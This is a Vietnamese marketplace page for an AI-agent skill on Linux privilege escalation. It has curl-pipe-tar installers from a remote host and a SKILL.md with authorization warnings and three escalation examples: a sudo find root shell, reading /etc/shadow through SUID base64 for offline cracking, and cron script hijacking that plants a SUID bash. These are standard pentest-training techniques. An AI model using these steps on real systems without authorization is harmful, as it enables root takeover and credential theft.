linux-privilege-escalation – skill DevOps & Hạ tầng cho agent AI
Thực hiện đánh giá leo thang đặc quyền có hệ thống trên Linux để tìm và khai thác cấu hình sai, dịch vụ dễ bị tấn công và điểm yếu bảo mật, cho phép nâng từ quyền người dùng thấp lên quyền root.
Cài skill linux-privilege-escalation bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/linux-privilege-escalation-f1672.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /linux-privilege-escalation – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/linux-privilege-escalation-f1672.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $linux-privilege-escalation – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/linux-privilege-escalation-f1672.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /linux-privilege-escalation – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/linux-privilege-escalation-f1672.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /linux-privilege-escalation – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
> ⚠️ AUTHORIZED USE ONLY
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.
> Mandatory confirmation gate
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Linux Privilege Escalation
Detailed Guide
Read [the detailed guide](references/detailed-guide.md) before executing this skill. It retains the complete procedure and reference material. Treat its safety, prerequisites, and validation requirements as mandatory. For focused work, load the relevant sections; for end-to-end work, read the guide completely.
Constraints and Guardrails
Operational Boundaries
- Verify kernel exploits in test environment before production use
- Failed kernel exploits may crash the system
- Document all changes made during privilege escalation
- Maintain access persistence only as authorized
Technical Limitations
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
- AppArmor/SELinux may restrict exploitation techniques
- Containers commonly share the host kernel; kernel exploit testing may affect the host and requires explicit host scope
- Hardened systems may have restricted sudo configurations
Legal and Ethical Requirements
- Written authorization required before testing
- Stay within defined scope boundaries
- Report critical findings immediately
- Do not access data beyond scope requirements
Examples
Example 1: Sudo to Root via find
Scenario: User has sudo rights for find command
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)Example 2: SUID base64 for Shadow Access
Scenario: base64 binary has SUID bit set
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txtExample 3: Cron Job Script Hijacking
Scenario: Root cron job executes writable script
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)When to Use
This skill is applicable to execute the workflow or actions described in the overview.
Skill liên quan
- linux-shell-scripting – Cung cấp mẫu shell script sẵn sàng cho môi trường production cho các tác vụ quản trị…
- linux-troubleshooting – Quy trình xử lý sự cố Linux để chẩn đoán và khắc phục lỗi hệ thống, vấn đề hiệu năng và…
- llm-cost-optimization – Giảm chi phí API LLM và hạ tầng thông qua chọn mô hình, prompt caching, xử lý theo lô…
- llm-fine-tuning – Thiết lập hạ tầng để fine-tune LLM với QLoRA, LoRA và full fine-tuning, sử dụng Hugging…
- llm-gateway – Triển khai API gateway cho lưu lượng LLM với cân bằng tải, giới hạn tốc độ, quản lý…
- llm-inference-scaling – Tự động mở rộng cụm suy luận LLM trên Kubernetes bằng KEDA, metric GPU tùy chỉnh và…
- llmops-platform-engineering – Xây dựng nền tảng LLMOps cấp production với CI/CD, quy trình thăng hạng mô hình, cổng…
- local-llm-expert – Thành thạo suy luận LLM cục bộ, chọn mô hình, tối ưu VRAM và triển khai cục bộ với…